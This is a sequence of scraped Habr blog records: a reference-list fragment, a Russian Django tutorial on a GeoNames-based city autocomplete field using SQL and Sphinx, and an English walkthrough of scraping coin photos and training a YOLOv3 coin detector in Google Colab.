1. Латентно-семантический анализ [Электронный ресурс]. / «Мегамозг» на Хабрахабр — Режим доступа: \www/ URL [habrahabr.ru/post/110078](https://habrahabr.ru/post/110078/)— 30.04.2016 г. — Загл. с экрана
2. Латентно-семантический анализ и поиск на Python [Электронный ресурс]./ «Мегамозг» на Хабрахабр —Режим доступа: \www/ URL [habrahabr.ru/post/197238](https://habrahabr.ru/post/197238/), свободный — 30,0 04.2016г. — Загл. с экрана | https://habr.com/ru/post/323516/ | null | ru | null |
# Еще одна реализация поля «город» для Django
«Еще одна» — потому что мне кажется, что я что-то упускаю и, в действительности, есть хорошее, но неизвестное мне решение “из коробки”. Тем не менее, вот мой рецепт:
#### Данные
В первую очередь, возник вопрос — где брать список городов. Исторически, я остановил свой выбор на [geonames.org](http://geonames.org) c creative commons лицензией. OpenStreetMaps от него отказались, из-за возможных “патентных” претензий от Google, где Geonames берет часть данных. (Тем не менее, на <http://www.openstreetmap.org/> он используется как альтернативный источник информации.)
Учитывая поверхностность интересов (в данном случае был нужен просто город, как поле профайла, без геоопераций вроде поиска вхождений в область и т.д.), нужно преобразовать данные geonames в подходящий нам, простой формат.
Я не тратил время на поиск красивого решения и сделал все просто, с помощью SQL и дополнительной базы:
1. Создаем базу geonames и импортируем туда данные (<http://forum.geonames.org/gforum/posts/list/732.page>)
На этом можно остановиться и использовать их в таком виде, а можно преобразовать чтобы ~~подчинить~~ привязать к своей логике.
2. Преобразуем. Не претендую на единственно правильное решение, некоторые, вызывающие технические вопросы страны я порезал:
```
-- Country import
insert into common_country(id,name,code,population,latitude,longitude,alternatenames) select geonameid as id,name,country as code, population,latitude,longitude,alternatenames from geonames.geoname gn where (gn.fcode IN ('PCLI','PCLIX','PCLD','PCLS','PCLF','PCL','TERR'));
delete from common_country where id in (2077507,2170371,7910334,7909807);
create unique index common_country_idx on common_country (id);
create index common_country_code_idx on common_country(code);
-- South Korea Fix
update common_country set alternatenames = concat(alternatenames,"Korea, Republic of") where id = 1835841;
-- City import
insert into common_city(id,name,country_id,alternatenames,latitude,longitude, adm) select gn.geonameid as id, gn.name, c.id as country_id, gn.alternatenames, gn.latitude, gn.longitude, admin1 as adm from geonames.geoname gn left join common_country as c on gn.country=c.code where (gn.fcode in ('PPL','PPLC','PPLA','PPLA2','PPLA3','PPLA4'));
```
Очевидный минус — необходимость написания функционала для обновления данных. [Найденные](https://github.com/fiam/geonames/tree/master/gis/postgres) мной [решения](https://github.com/ramusus/django-geonames) заточены под PostgreSQL.
#### Средства поиска
Родной full-text поиск MySQL не справлялся с быстрым поиском по такому количеству населенных пунктов, поэтому я использовал [Sphinxsearch](http://sphinxsearch.com/) (думаю, подойдет любой другой [Solr](http://lucene.apache.org/solr/))
Конфиг индекса и источника:
```
source geo_city
{
type = mysql
sql_host = localhost
sql_user = citylist
sql_pass = citylist
sql_db = citylist
sql_port =
sql_query_pre = SET NAMES utf8
sql_query_post =
sql_query = \
SELECT id, name, country_id, alternatenames, latitude, longitude\
FROM geo_city
sql_query_info = SELECT * FROM `geo_city` WHERE `id` = $id
# ForeignKey's
sql_attr_uint = country_id
}
index common_city
{
source = geo_city
path = /var/lib/sphinxsearch/data/geo_city
docinfo = extern
morphology = none
stopwords =
min_word_len = 2
charset_type = utf-8
min_prefix_len = 2
min_infix_len = 0
prefix_fields = name, alternatenames
enable_star = 1
}
```
#### Представление
Нам понадобятся:
[django-selectable](https://bitbucket.org/mlavin/django-selectable)
[django-sphinx](https://github.com/dcramer/django-sphinx)
[django-profiles](https://bitbucket.org/ubernostrum/django-profiles/wiki/Home) – для моего конкретного случая с профайлом
Поставим оба приложения, добавим их в INSTALLED\_APPS.
Django-sphinx требует номера версии API в **settings.py**
для Sphinx 0.9.9:
```
SPHINX_API_VERSION = 0x116
```
создадим модель для города и страны в приложении, отвечающем за гео логику/модели
(geo в моем случае)
```
class Country(models.Model):
name = models.CharField(max_length=200)
code = models.CharField(max_length=10)
population = models.IntegerField()
latitude = models.FloatField()
longitude = models.FloatField()
alternatenames = models.CharField(max_length=2000, blank=True, default='')
def __str__(self):
return unicode(self.name).encode('utf-8')
def __unicode__(self):
return unicode(self.name)
class City(models.Model):
name = models.CharField(max_length=200)
country = models.ForeignKey(Country)
alternatenames = models.CharField(max_length=2000, blank=True, default='')
latitude = models.FloatField(default=0)
longitude = models.FloatField(default=0)
adm = models.CharField(max_length=200)
search = SphinxSearch(weights={
'name': 100,
'alternatenames': 80
})
def __str__(self):
return unicode(self.name).encode('utf-8')
def __unicode__(self):
return unicode(self.name)
```
Если поле города нужно для профайла, добавляем его и модель в приложение, которое занимается профайлами, у меня это usermanage:
```
class CustomUserProfile(models.Model):
user = models.ForeignKey(User, unique=True)
full_name = models.CharField(max_length=200, blank=True)
city = models.ForeignKey(City, blank=True, null=True)
country = models.ForeignKey(Country, blank=True, null=True, editable=False)
date_registered = models.DateField(editable=False, auto_now_add=True)
```
и форму профайла:
```
class UserProfileForm(forms.ModelForm):
''' Form to edit profile'''
full_name = forms.CharField(widget=forms.TextInput())
city = selectable.AutoCompleteSelectField(
label='City please',
lookup_class = common.lookups.CityLookup,
required=False,
)
def clean_city(self):
"""
Convert city code to city object
"""
city_id = int(self.data["city_1"].encode("utf8"))
city = City.objects.get(id=city_id)
return city
class Meta:
model = CustomUserProfile
exclude = ("user",)
```
и в **settings.py**
```
AUTH_PROFILE_MODULE = 'usermanage.CustomUserProfile'
```
подробнее о настройке django-profiles [тут](https://bitbucket.org/ubernostrum/django-profiles/wiki/Home)
django-selectable требует настройки **urls.py**
```
(r'^selectable/', include('selectable.urls')),
```
Создадим **lookup.py** и метод в нем для реализации запросов к базе и начального заполнения поля:
```
class CityLookup(LookupBase):
model = City
item = None
def get_query(self, request, term):
qs = self.model.search.query(term + "*")
return qs
def get_queryset(self):
return None
def get_item_id(self, item):
return item.id
def get_item_value(self, item):
if (not self.item):
return smart_unicode(item)
return smart_unicode(self.item.name)
def get_item_label(self, item):
return u"%s, %s" % (item.name, item.country)
def get_item(self, value):
item = None
if value:
try:
item = City.objects.get(id=value)
self.item = item
except IndexError:
pass
return item
try:
registry.register(CityLookup)
except:
pass
```
В **forms.py** профайла нужно импортировать lookups и поля/виджеты selectable
```
import selectable.forms as selectable
import geo.lookups
```
Для работы django-selectable необходимы библиотеки jquery, добавляем их в **base.html**, предварительно скачав jquery и jquery-ui (jquery.dj.selectable.js — идет в django-selectable)
```
```
Если все прошло успешно, то на выходе получится что-то такое:
или даже такое (поле alternatenames содержит варианты названий на разных языках)
Логичным продолжением, я вижу добавление в модель admin1 (административная единица первого уровня) для отделения населенных пунктов с одинаковым названием, тесты jemeter для замеров производительности и написание reusable application, хотя бы доработав django-geonames для MySQL, однако на последнем [Kyiv.py](http://ua.pycon.org/) я неожиданно осознал, что теперь путь проекта лежит в сторону geodjango, PostgreSQL и PostGIS, так как роль города в профайле становится больше, чем просто информационная.
P.S. Если кого-то интересует тестовый проект-демо, выложу.
Ссылки:
[Список потенциальных источников данных OSM](http://wiki.openstreetmap.org/wiki/Potential_Datasources)
github и bitbucket страницы описания соответствующих проектов.
Спасибо за внимание. | https://habr.com/ru/post/128709/ | null | ru | null |
# Coins Classification using Neural Networks
See more at robotics.snowcron.com
This is the first article in a serie dedicated to coins classification. Having countless "dogs vs cats" or "find a pedestrian on the street" classifiers all over the Internet, coins classification doesn't look like a difficult task.
At first.
Unfortunately, it is degree of magnitude harder - a formidable challenge indeed. You can easily tell heads of tails? Great. Can you figure out if the number is 1 mm shifted to the left? See, from classifier's view it is still the same head... while it can make a difference between a common coin priced according to the number on it and a rare one, 1000 times more expensive.
Of course, we can do what we usually do in image classification: provide 10,000 sample images... No, wait, we can not. Some types of coins are rare indeed - you need to sort through a BASKET (10 liters) of coins to find one. Easy arithmetics suggests that to get 10000 images of DIFFERENT coins you will need 10,000 baskets of coins to start with. Well, and unlimited time.
So it is not that easy.
Anyway, we are going to begin with getting large number of images and work from there. We will use Russian coins as an example, as Russia had money reform in 1994 and so the number of coins one can expect to find in the pocket is limited. Unlike USA with its 200 years of monetary history.
And yes, we are ONLY going to focus on current coins: the ultimate goal of our work is to write a program for smartphone to classify coins you have received in a grocery store as a change.
Which makes things even worse, as we can not count on good lighting and quality cameras anymore. But we'll still try.
In addition to "only Russian coins, beginning from 1994", we are going to add an extra limitation: no special occasion coins. Those coins look distinctive, so anyone can figure that this coin is special. We focus on REGULAR coins. Which limits their number severely.
Don't take me wrong: if we need to apply the same approach to a full list of coins... it will work. But I got 15 GB of images for that limited set, can you imagine how large the complete set will be?!
To get images, I am going to scan one of the largest Russian coins site "meshok.ru".
This site allows buyers and sellers to find each other; sellers can upload images... just what we need.
Unfortunately, a business-oriented seller can easily upload his 1 rouble image to 1, 2, 5, 10 roubles topics, just to increase the exposure. So we can not count on the topic name, we have to determine what coin is on the photo ourselves.
To scan the site, a simple scanner was written, based on the Python's Beautiful Soup library. In just few hours I got over 50,000 photos. Not a lot by Machine Learning standards, but definitely a start.
After we got the images, we have to - unfortunately - revisit them by hand, looking for images we do not want in our training set, or for images that should be edited somehow. For example, someone could have uploaded a photo of his cat. We don't need a cat in our dataset.
First, we delete all images, that can not be split to head/hail:
After we are done with the "unfortunately manual" part, we have a long list of images with names inherited from meshok.ru:
28009792\_001.jpg
28645289\_000.jpg
28645289\_001.jpg
30691757\_005.jpg
33768803\_003.jpg
34831028\_001.jpg
39834334\_002.jpg
40450398\_000.jpg
42780070\_002.jpg
The images themselves can be gropped according to the following types:
a) One image for tail, one image for head.
Or it can be few images for tail and few for head, but the ultimate thing is, there is only one coin per image, and for the same image name (same, except for postfix) it is the same coin:
 To process these images, we need to locate the coin (coin might occupy small part of the image, so we want to crop it), and for all images, run a head-or-tail classifier. Then we can combine all heads with all tails (for 4 images above it will yeild 2 pairs). These images are going to be for the same coin, but we can consider it as sort of an additional augmentation due to light and angle change.
b) Single image with tail and head on it.
For this image, we KNOW there are only two coins (one head / one tail) per image, so we locate and crop images, and run head-or-tail classifier. As above, the result is pair of images. Also, we can discard images that have all heads and no tails and vice versa (provided, there is no second image with the same name and different postfix, containing missing coin pictures, see "c" below).
c) Image containing multiple coins.There should also be images with same name / different postfix, where same coins are flipped. Coins should remain more or less on the same place in both images, so the program can figure out the correspondence:
For this sort of images, we need to locate coins, locate their centers, find closest centers on the second image, and group corresponding coins. We need to make sure we got head/tail pairs. Note that sometimes authors publish images with, say, 6 coins (one image for heads, one for tails) and extra images with, say, 4 coins zoomed in. We need to remove such zoomed images during the "manual cleanup", as I don't want to spend time on the algorithm do do it programmatically.
As the result of the first pass of our processing, we have files with the following names:
27855071\_00a.png
27855071\_00b.png...
Here "27855071" is image name (postfix removed), \_00 is the coin number within that image, and a/b are coin sides. Note that at this stage we haven't ran the head-or-tail classifier yet, so some pairs will be removed later if a/b do not correspond to head/tail (or tail/head).Let's take a closer look at the algorithm we used to isolate individual coins on the image. We are going to use YOLO3
As we use Google Colab, we need some space to store our data, and Google Drive looks like a good idea. We have large amount of images, but 15Gb it provides is (barely) enough.
```
from google.colab import drive
drive.mount("/content/drive/", force_remount=True)
```
We use TF 1.x, as that particular version of YOLO doesn't support v2 yet:
%tensorflow\_version 1.x
Path for our project and subdirectory for YOLO3. As we work with Colab, we have two choices. First, and this is the most common approach used in online tutorials, we can store files (that we have downloaded from internet sources, like GIT) at the content level, ABOVE the /content/drive/. The advantage is, we don't need Google Drive, or at least, we don't keep NN files at Google Drive, which gives us more space for images. As for disadvantage, we loose files when the session is over. Downloading YOLO files every time is counter productive, so I am going to copy them to Drive:
```
working_path = "/content/drive/My Drive/01h_yolo3_object_detection/"
yolo_path = working_path + "yolo3/"
```
The following flag determines if we want to re-train our YOLO or if we simply want to download weights we saved earlier.
```
bDoTraining = False
```
Now let's clone YOLO files:
```
# TBD: check, if folder exists, then skip
!mkdir '{yolo_path}'
!git clone https://github.com/AntonMu/TrainYourOwnYOLO '{yolo_path}'
```
```
$ mkdir: cannot create directory ‘/content/drive/My Drive/01h_yolo3_object_detection/yolo3/’: File exists$ fatal: destination path '/content/drive/My Drive/01h_yolo3_object_detection/yolo3' already exists and is not an empty directory
```
The error says that files are already there, so it is more of a warning and should be ignored.There are some problems with code at the repository above: it is not flexible enough. So I am going to copy bits and pieces of it, and use the "local" modified copy. Commented, is the original code.
```
import os
import subprocess
import time
import sys
import argparse
import requests
import progressbar
FLAGS = None
root_folder = yolo_path
download_folder = os.path.join(root_folder, "2_Training",
"src", "keras_yolo3/")
data_folder = os.path.join(root_folder, "Data")
model_folder = os.path.join(data_folder, "Model_Weights")
download_script = os.path.join(model_folder, "Download_Weights.py")
if True:
if True: #not FLAGS.is_tiny:
weights_file = yolo_path + "2_Training/src/keras_yolo3/yolov3.weights"
h5_file = yolo_path + "2_Training/src/keras_yolo3/model_data/yolo.h5"
cfg_file = yolo_path + "2_Training/src/keras_yolo3/yolov3.cfg"
# Original URL: https://pjreddie.com/media/files/yolov3.weights
gdrive_id = "1ENKguLZbkgvM8unU3Hq1BoFzoLeGWvE_"
if not os.path.isfile(os.path.join(download_folder, weights_file)):
print(f"\nDownloading Raw '{weights_file}'\n")
start = time.time()
call_string = "python '" + download_script + "' " + gdrive_id +
" '" + weights_file + "'"
subprocess.call(call_string, shell=True)
end = time.time()
print(f"Downloaded Raw '{weights_file}' in {end - start:.1f} seconds\n")
convert_path = yolo_path + "2_Training/src/keras_yolo3/convert.py"
call_string = f"python '{convert_path}' '{cfg_file}' '{weights_file}' '{h5_file}'"
subprocess.call(call_string, shell=True, cwd=download_folder)
"""
MODIFIED FROM keras-yolo3 PACKAGE, https://github.com/qqwweee/keras-yolo3
Retrain the YOLO model for your own dataset.
"""
import os
import sys
import argparse
import warnings
import numpy as np
import keras.backend as K
from keras.layers import Input, Lambda
from keras.models import Model
from keras.optimizers import Adam
#os.path.join(get_parent_dir(0), "src")
src_path = working_path + "yolo3/2_Training/src/"
sys.path.append(src_path)
#os.path.join(get_parent_dir(1), "Utils")
utils_path = working_path + "yolo3/Utils/"
sys.path.append(utils_path)
from keras.callbacks import (
TensorBoard,
ModelCheckpoint,
ReduceLROnPlateau,
EarlyStopping,
)
from keras_yolo3.yolo3.model import (
preprocess_true_boxes,
yolo_body,
tiny_yolo_body,
yolo_loss,
)
from keras_yolo3.yolo3.utils import get_random_data
from PIL import Image
from time import time
import tensorflow.compat.v1 as tf
import pickle
from Train_Utils import (
get_classes,
get_anchors,
create_model,
create_tiny_model,
data_generator,
data_generator_wrapper,
ChangeToOtherMachine,
)
# os.path.join(src_path, "keras_yolo3")
keras_path = working_path + "yolo3/2_Training/src/keras_yolo3/"
#os.path.join(get_parent_dir(1), "Data")
Data_Folder = working_path + "yolo3/Data/"
#os.path.join(Data_Folder, "Source_Images", "Training_Images")
Image_Folder = working_path + "images/train/"
#VoTT_Folder = os.path.join(Image_Folder, "vott-csv-export")
#os.path.join(VoTT_Folder, "data_train.txt")
annotations_file_name = working_path + "images/annotations.txt"
# Model_Folder = os.path.join(Data_Folder, "Model_Weights")
# os.path.join(Model_Folder, "data_classes.txt")
yolo_class_names = working_path + "yolo3/Data/Model_Weights/classes.txt"
#Model_Folder
log_dir = working_path + "yolo3/Data/Model_Weights/"
#os.path.join(keras_path, "model_data", "yolo_anchors.txt")
anchors_path = working_path +
"yolo3/2_Training/src/keras_yolo3/model_data/yolo_anchors.txt"
# Attn! No yolo.h5 at os.path.join(keras_path, "yolo.h5")!
# Either error, or this file is a "created new".
#os.path.join(keras_path, "yolo.h5")
weights_path = working_path +
"yolo3/2_Training/src/keras_yolo3/model_data/yolo.h5"
```
```
# Training the YOLO3:
FLAGS = None
if bDoTraining:
val_split = 0.1
is_tiny = False
random_seed = None # 42
epochs = 51
if True: #not FLAGS.warnings:
tf.logging.set_verbosity(tf.logging.ERROR)
os.environ["TF_CPP_MIN_LOG_LEVEL"] = "3"
warnings.filterwarnings("ignore")
np.random.seed(random_seed) #FLAGS.random_seed)
#log_dir = FLAGS.log_dir
class_names = get_classes(yolo_class_names) #FLAGS.yolo_class_names)
num_classes = len(class_names)
anchors = get_anchors(anchors_path)
input_shape = (416, 416) # multiple of 32, height, width
epoch1, epoch2 = epochs, epochs #FLAGS.epochs, FLAGS.epochs
if False: #FLAGS.is_tiny:
model = create_tiny_model(
input_shape, anchors, num_classes, freeze_body=2,
weights_path=weights_path
)
else:
model = create_model(
input_shape, anchors, num_classes, freeze_body=2,
weights_path=weights_path
) # make sure you know what you freeze
log_dir_time = os.path.join(log_dir, "{}".format(int(time())))
logging = TensorBoard(log_dir=log_dir_time)
checkpoint = ModelCheckpoint(
os.path.join(log_dir, "checkpoint.h5"),
monitor="val_loss",
save_weights_only=True,
save_best_only=True,
period=5,
)
reduce_lr = ReduceLROnPlateau(monitor="val_loss", factor=0.9,
patience=10, verbose=1)
early_stopping = EarlyStopping(monitor="val_loss", min_delta=0,
patience=100, verbose=1)
#with open(FLAGS.annotation_file_name) as f:
with open(annotations_file_name) as f:
lines = f.readlines()
# This step makes sure that the path names correspond
# to the local machine
# This is important if annotation and training are done on
# different machines (e.g. training on AWS)
# lines = ChangeToOtherMachine(lines, remote_machine="")
for i, line in enumerate(lines):
line = working_path + "images/train/" + line.split("/")[-1]
lines[i] = line
np.random.shuffle(lines)
num_val = int(len(lines) * val_split)
num_train = len(lines) - num_val
# Train with frozen layers first, to get a stable loss.
# Adjust num epochs to your dataset. This step is enough
# to obtain a decent model.
if True:
model.compile(
optimizer=Adam(lr=1e-3),
loss={
# use custom yolo_loss Lambda layer.
"yolo_loss": lambda y_true, y_pred: y_pred
},
)
batch_size = 32
print(
"Train on {} samples, val on {} samples, with batch size {}.".format(
num_train, num_val, batch_size
)
)
history = model.fit_generator(
data_generator_wrapper(
lines[:num_train], batch_size, input_shape, anchors, num_classes
),
steps_per_epoch=max(1, num_train // batch_size),
validation_data=data_generator_wrapper(
lines[num_train:], batch_size, input_shape, anchors, num_classes
),
validation_steps=max(1, num_val // batch_size),
epochs=epoch1,
initial_epoch=0,
callbacks=[logging, reduce_lr, checkpoint],
)
model.save_weights(os.path.join(log_dir, "trained_weights_stage_1.h5"))
step1_train_loss = history.history["loss"]
file = open(os.path.join(log_dir_time, "step1_loss.npy"), "w")
with open(os.path.join(log_dir_time, "step1_loss.npy"), "w") as f:
for item in step1_train_loss:
f.write("%s\n" % item)
file.close()
step1_val_loss = np.array(history.history["val_loss"])
file = open(os.path.join(log_dir_time, "step1_val_loss.npy"), "w")
with open(os.path.join(log_dir_time, "step1_val_loss.npy"), "w") as f:
for item in step1_val_loss:
f.write("%s\n" % item)
file.close()
# Unfreeze and continue training, to fine-tune.
# Train longer if the result is unsatisfactory.
if True:
for i in range(len(model.layers)):
model.layers[i].trainable = True
model.compile(
optimizer=Adam(lr=1e-4), loss={"yolo_loss": lambda y_true,
y_pred: y_pred}
) # recompile to apply the change
print("Unfreeze all layers.")
batch_size = (
4 # note that more GPU memory is required after unfreezing the body
)
print(
"Train on {} samples, val on {} samples, with batch size {}.".format(
num_train, num_val, batch_size
)
)
history = model.fit_generator(
data_generator_wrapper(
lines[:num_train], batch_size, input_shape, anchors, num_classes
),
steps_per_epoch=max(1, num_train // batch_size),
validation_data=data_generator_wrapper(
lines[num_train:], batch_size, input_shape, anchors, num_classes
),
validation_steps=max(1, num_val // batch_size),
epochs=epoch1 + epoch2,
initial_epoch=epoch1,
callbacks=[logging, checkpoint, reduce_lr, early_stopping],
)
model.save_weights(os.path.join(log_dir, "trained_weights_final.h5"))
step2_train_loss = history.history["loss"]
file = open(os.path.join(log_dir_time, "step2_loss.npy"), "w")
with open(os.path.join(log_dir_time, "step2_loss.npy"), "w") as f:
for item in step2_train_loss:
f.write("%s\n" % item)
file.close()
step2_val_loss = np.array(history.history["val_loss"])
file = open(os.path.join(log_dir_time, "step2_val_loss.npy"), "w")
with open(os.path.join(log_dir_time, "step2_val_loss.npy"), "w") as f:
for item in step2_val_loss:
f.write("%s\n" % item)
file.close()
```
```
# Load Tensorboard and display charts:
if(bDoTraining):
%load_ext tensorboard
%tensorboard --logdir '{log_dir}'
```
Now it is the inference time.
input\_path = working\_path + "images/"
output\_file = working\_path + "output.txt"
detector\_path = working\_path + "yolo3/3\_Inference/Detector.py"
import os
import sys
#os.path.join(get\_parent\_dir(1), "2\_Training", "src")
src\_path = working\_path + "yolo3/2\_Training/"
#os.path.join(get\_parent\_dir(1), "Utils")
utils\_path = working\_path + "yolo3/Utils/"
sys.path.append(src\_path)
sys.path.append(utils\_path)
import argparse
from keras\_yolo3.yolo import YOLO, detect\_video, detect\_webcam
from PIL import Image
from timeit import default\_timer as timer
from utils import load\_extractor\_model, load\_features,
parse\_input, detect\_object
import test
import utils
import pandas as pd
import numpy as np
from Get\_File\_Paths import GetFileList
import random
from Train\_Utils import get\_anchors
os.environ["TF\_CPP\_MIN\_LOG\_LEVEL"] = "3"
# Set up folder names for default values
#os.path.join(get\_parent\_dir(n=1), "Data")
data\_folder = working\_path + "yolo3/Data/"
#os.path.join(image\_folder, "Test\_Images")
image\_test\_folder = working\_path + "my\_converted\_from\_dcim/"
#os.path.join(image\_folder, "Test\_Image\_Detection\_Results")
detection\_results\_folder = working\_path +
"images/Test\_Image\_Detection\_Results/"
detection\_results\_file = os.path.join(detection\_results\_folder,
"Detection\_Results.csv")
model\_folder = os.path.join(data\_folder, "Model\_Weights")
model\_weights = os.path.join(model\_folder, "trained\_weights\_final.h5")
model\_classes = os.path.join(model\_folder, "classes.txt")
#anchors\_path = os.path.join(src\_path, "keras\_yolo3",
# "model\_data", "yolo\_anchors.txt")
#os.path.join(keras\_path, "model\_data", "yolo\_anchors.txt")
anchors\_path = working\_path +
"yolo3/2\_Training/src/keras\_yolo3/model\_data/yolo\_anchors.txt"
FLAGS = None
# Replacement for command line arguments
# Path to image/video directory. All subdirectories will be included.
input\_path = image\_test\_folder
# Output path for detection results.
output = detection\_results\_folder
# Only save bounding box coordinates but do not
# save output images with annotated boxes.
no\_save\_img = False
# Specify list of file types to include.
# Default is --file\_types .jpg .jpeg .png .mp4
file\_types = []
# Path to pre-trained weight files. Default is " + model\_weights
model\_path = model\_weights
# Path to YOLO anchors.
#anchors\_path = anchors\_path
# Path to YOLO class specifications.
classes\_path = model\_classes
# Number of GPU to use.
gpu\_num = 1
# Threshold for YOLO object confidence score
# to show predictions.
score = 0.25
# File to save bounding box results to.
box = output\_file #detection\_results\_file
# Specify the postfix for images with bounding boxes.
# Default is "coin"
postfix = "\_coin"
# Use the tiny Yolo version for better performance
# and less accuracy.
is\_tiny = False
# Use webcam for real-time detection. Default is False.
webcam = False
save\_img = not no\_save\_img
#file\_types = FLAGS.file\_types
webcam\_active = webcam
if file\_types:
input\_paths = GetFileList(input\_path, endings=file\_types)
else:
input\_paths = GetFileList(input\_path)
# Split images and videos
img\_endings = (".jpg", ".jpeg", ".png")
vid\_endings = (".mp4", ".mpeg", ".mpg", ".avi")
input\_image\_paths = []
input\_video\_paths = []
for item in input\_paths:
if item.endswith(img\_endings):
input\_image\_paths.append(item)
elif item.endswith(vid\_endings):
input\_video\_paths.append(item)
output\_path = output
if not os.path.exists(output\_path):
os.makedirs(output\_path)
if is\_tiny and anchors\_path == anchors\_path:
anchors\_path = os.path.join(os.path.dirname(anchors\_path),
"yolo-tiny\_anchors.txt")
anchors = get\_anchors(anchors\_path)
# define YOLO detector
yolo = YOLO(
\*\*{
"model\_path": model\_path,
"anchors\_path": anchors\_path,
"classes\_path": classes\_path,
"score": score,
"gpu\_num": gpu\_num,
"model\_image\_size": (416, 416)
}
)
# Make a dataframe for the prediction outputs
out\_df = pd.DataFrame(
columns=[
"image",
"image\_path",
"xmin",
"ymin",
"xmax",
"ymax",
"label",
"confidence",
"x\_size",
"y\_size",
]
)
# labels to draw on images
class\_file = open(classes\_path, "r")
input\_labels = [line.rstrip("\n") for line in class\_file.readlines()]
print("Found {} input labels: {} ...".format(len(input\_labels),
input\_labels))
arrPredictions = []
if input\_image\_paths and not webcam\_active:
print(
"Found {} input images: {} ...".format(
len(input\_image\_paths),
[os.path.basename(f) for f in input\_image\_paths[:5]],
)
)
start = timer()
text\_out = ""
# This is for images
for i, img\_path in enumerate(input\_image\_paths):
print(img\_path)
prediction, image = detect\_object(
yolo,
img\_path,
save\_img=save\_img,
save\_img\_path=output,
postfix=postfix,
)
y\_size, x\_size, \_ = np.array(image).shape
arrPredictions.append([
img\_path.rstrip("\n"),
prediction,
x\_size, y\_size,
""]) # single/pair, to be filled later
end = timer()
print(
"Processed {} images in {:.1f}sec - {:.1f}FPS".format(
len(input\_image\_paths),
end - start,
len(input\_image\_paths) / (end - start),
)
)
#out\_df.to\_csv(box, index=False)
# This is for videos
# for pre-recorded videos present in the Test\_Images folder
Note image = cv2.imread(image\_path, cv2.IMREAD\_IGNORE\_ORIENTATION | cv2.IMREAD\_COLOR)Open CV loads images based on EXIF rotation info, which is NOT what we need, so we turn it off.
```
import cv2
from google.colab.patches import cv2_imshow
if bDoTraining:
for image_info in arrCoinLocations[1:]:
image_path = image_info[0]
#image = cv2.imread(image_path)
image = cv2.imread(image_path,
cv2.IMREAD_IGNORE_ORIENTATION | cv2.IMREAD_COLOR)
clone = image.copy()
# loop over the bounding boxes and associated probabilities
for boxes in image_info[1:-3]:
for box in boxes:
# draw the bounding box, label, and
# probability on the image
(startX, startY, endX, endY) = box[0], box[1],
box[2], box[3] #int(box[0]), int(box[1]),
int(box[2]), int(box[3])
cv2.rectangle(clone, (startX, startY), (endX, endY),
(0, 255, 0), 2)
# show the output after *before* running NMS
cv2_imshow(clone)
```
As you can see, we got frames around images, but they are too tight and cross the coin sometimes. So we need to provide extra space:
# Crop images according to boxes but a bit larger
import cv2
from google.colab.patches import cv2\_imshow
import seaborn as sns
cmap = (np.array(sns.color\_palette("Paired", 100))
\* 255).astype(int)
#print(cmap)
dResize = 0.07
for nCount, image\_info in enumerate(arrCoinLocations):
#image\_info = arrCoinLocations[:][0]
image\_path = image\_info[0]
#image = cv2.imread(image\_path)
image = cv2.imread(image\_path,
cv2.IMREAD\_IGNORE\_ORIENTATION | cv2.IMREAD\_COLOR)
size\_x = image.shape[1]
size\_y = image.shape[0]
clone = image.copy()
# loop over the bounding boxes and associated probabilities
for boxes in image\_info[1:-3]:
for nColorIdx, box in enumerate(boxes):
# draw the bounding box, label, and probability on the image
(startX, startY, endX, endY) = box[0], box[1], box[2], box[3]
box\_width = endX - startX + 1
box\_height = endY - startY + 1
startX = 0 if startX - box\_width \* dResize < 0
else int(startX - box\_width \* dResize)
startY = 0 if startY - box\_height \* dResize < 0
else int(startY - box\_height \* dResize)
endX = size\_x - 1 if endX + box\_width \* dResize > size\_x - 1
else int(endX + box\_width \* dResize)
endY = size\_y - 1 if endY + box\_height \* dResize > size\_y - 1
else int(endY + box\_height \* dResize)
box[0], box[1], box[2], box[3] = startX, startY, endX, endY
cv2.rectangle(clone, (startX, startY), (endX, endY),
(int(cmap[nColorIdx][0]), int(cmap[nColorIdx][1]),
int(cmap[nColorIdx][2])), 2)
#img\_crop = clone[startY:endY, startX:endX]
#cv2\_imshow(img\_crop)
#cv2.imwrite(working\_path + "images/cropped/" + , img\_crop)
# show the output after \*before\* running NMS
#print(image\_path)
#cv2\_imshow(clone)
if(nCount%100 == 0):
print(nCount)
 Now group to pairs (head/tail) and save as file\_name\_(head/tail)\_XX.ext
from pathlib import Path
from shutil import copyfile
for i, coin\_info in enumerate(arrCoinLocations):
image\_path = coin\_info[0]
# Another way
#filename = imagePath.split(os.path.sep)[-1]
#filename = filename[:filename.rfind(".")]
# Our algoritm scans from current item forward, for each
# item (see below for item[-1] = "pair").
# If an item is already marked, we don't need to re-scan it
if(coin\_info[-1] != ""):
continue
# We need to go from path/name\_XXX.yyy to name
word\_list = image\_path.split("/")
image\_name = word\_list[-1]
#print(image\_name)
# ['37076234', '000.jpg']
image\_root = re.split("\_", image\_name)
image\_num = image\_root[1].split(".")[0]
# Look for other images with same root
for j,item in enumerate(arrCoinLocations[i:]):
if image\_root[0] in item[0] and image\_name not in item[0]:
#print("\tPairs:\n\t\t", image\_path, "\n\t\t",
# arrCoinLocations[i + j][0])
item[-1] = "pair"
coin\_info[-1] = "pair"
# Now only single images left
if(coin\_info[-1] == "pair"):
continue
coin\_info[-1] = "single"
def get\_resize\_dim(left\_1, top\_1, right\_1, bottom\_1):
if(right\_1 - left\_1 > bottom\_1 - top\_1):
dim = (nMinSize, int(nMinSize \* (bottom\_1 - top\_1)
/ (right\_1 - left\_1)))
else:
dim = (int(nMinSize \* (right\_1 - left\_1)
/ (bottom\_1 - top\_1)), nMinSize)
return dim
nTotalCoins = 0
nCoinsMinSizePlus = 0
nMinSize = 512
for i, coin\_info in enumerate(arrCoinLocations):
if(i%100 == 0):
print(i)
image\_path = coin\_info[0]
save\_path = working\_path + "images\_individual\_coins/"
# We need to go from path/name\_XXX.yyy to name
word\_list = image\_path.split("/")
image\_name = word\_list[-1]
# ['37076234', '000.jpg']
image\_root = re.split("\_", image\_name)
image\_name\_no\_ext = re.split("\.", image\_name)[0]
if(coin\_info[-1] == "single"):
nTotalCoins = nTotalCoins + 1
#print("\tSingle:", image\_name)
# it was a single image, but there is only one coin on it,
# or more than two coins: can not split it to head+tail
if(len(coin\_info[1]) != 2):
continue
#image\_np = cv2.imread(image\_path)
image\_np = cv2.imread(image\_path,
cv2.IMREAD\_IGNORE\_ORIENTATION | cv2.IMREAD\_COLOR)
# For a "single" type, we expect one image with both head and tail on it
rectSideOne = coin\_info[1][0][:4]
rectSideTwo = coin\_info[1][1][:4]
(left\_1, top\_1, right\_1, bottom\_1) = rectSideOne
(left\_2, top\_2, right\_2, bottom\_2) = rectSideTwo
